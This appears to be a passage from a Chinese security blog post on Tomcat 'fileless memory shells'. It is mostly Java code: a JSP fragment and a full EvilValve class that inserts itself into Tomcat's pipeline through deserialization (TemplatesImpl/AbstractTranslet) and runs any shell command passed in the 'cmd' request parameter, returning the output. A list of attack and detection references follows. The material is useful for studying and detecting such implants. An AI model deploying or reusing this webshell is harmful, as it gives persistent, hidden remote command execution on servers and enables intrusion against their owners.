ValveBase valve = new ValveBase() { @Override public void invoke(Request request, Response response){ try{ String cmd = request.getParameter("cmd"); if(cmd != null){ boolean isLinux = true; String osTyp = System.getProperty("os.name"); if (osTyp != null && osTyp.toLowerCase().contains("win")) { isLinux = false; } String[] cmds = isLinux ? new String[]{"sh", "-c", cmd} : new String[]{"cmd.exe", "/c", cmd}; InputStream in = Runtime.getRuntime().exec(cmds).getInputStream(); Scanner s = new Scanner(in).useDelimiter("\\a"); String output = s.hasNext() ? s.next() : ""; PrintWriter out = response.getWriter(); out.println(output); out.flush(); out.close(); } this.getNext().invoke(request, response); }catch(Exception e){ }
} }; standardContext.getPipeline().addValve(valve); response.getWriter().write("Success"); } catch (Exception e) { e.printStackTrace(); } %>
|

无文件内存马
网上全是继承ValveBase
类,但是如果是反序列化要满足TemplatesImpl的加载,需要继承AbstractTranslet,但又不能继承多个类,那么就需要使用接口了
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78
| import com.sun.org.apache.xalan.internal.xsltc.DOM; import com.sun.org.apache.xalan.internal.xsltc.TransletException; import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet; import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator; import com.sun.org.apache.xml.internal.serializer.SerializationHandler; import org.apache.catalina.Valve; import org.apache.catalina.connector.Request; import org.apache.catalina.connector.Response; import org.apache.catalina.core.StandardContext; import org.apache.catalina.loader.WebappClassLoaderBase;
import java.io.InputStream; import java.io.PrintWriter; import java.util.Scanner;
public class EvilValve extends AbstractTranslet implements Valve { protected Valve next; static { try { WebappClassLoaderBase webappClassLoaderBase = (WebappClassLoaderBase) Thread.currentThread().getContextClassLoader(); StandardContext standardContext = (StandardContext) webappClassLoaderBase.getResources().getContext(); standardContext.getPipeline().addValve(new EvilValve()); } catch (Exception e) { e.printStackTrace(); } }
@Override public Valve getNext() { return this.next; }
@Override public void setNext(Valve valve) { this.next = valve; }
@Override public void backgroundProcess() { }
@Override public void invoke(Request request, Response response) { try { String cmd = request.getParameter("cmd"); if (cmd != null) { boolean isLinux = true; String osTyp = System.getProperty("os.name"); if (osTyp != null && osTyp.toLowerCase().contains("win")) { isLinux = false; } String[] cmds = isLinux ? new String[]{"sh", "-c", cmd} : new String[]{"cmd.exe", "/c", cmd}; InputStream in = Runtime.getRuntime().exec(cmds).getInputStream(); Scanner s = new Scanner(in).useDelimiter("\\a"); String output = s.hasNext() ? s.next() : ""; PrintWriter out = response.getWriter(); out.println(output); out.flush(); out.close(); } this.getNext().invoke(request, response); } catch (Exception e) { } }
@Override public boolean isAsyncSupported() { return false; }
@Override public void transform(DOM document, SerializationHandler[] handlers) throws TransletException { }
@Override public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException { } }
|
参考:
Tomcat-Valve型内存马
Tomcat容器攻防笔记之Valve内存马出世
Tomcat之Valve内存马
『Java安全』Tomcat内存马_动态注册Valve内存马_管道Pipeline内存马
Tomcat内存马可参考文章:
https://github.com/ce-automne/TomcatMemShell
深入浅出内存马(一)
JSP内存马研究
Tomcat 内存马分析及检测
JSP Webshell那些事 – 攻击篇(下)
Java内存马攻防实战–攻击基础篇
JavaWeb 内存马一周目通关攻略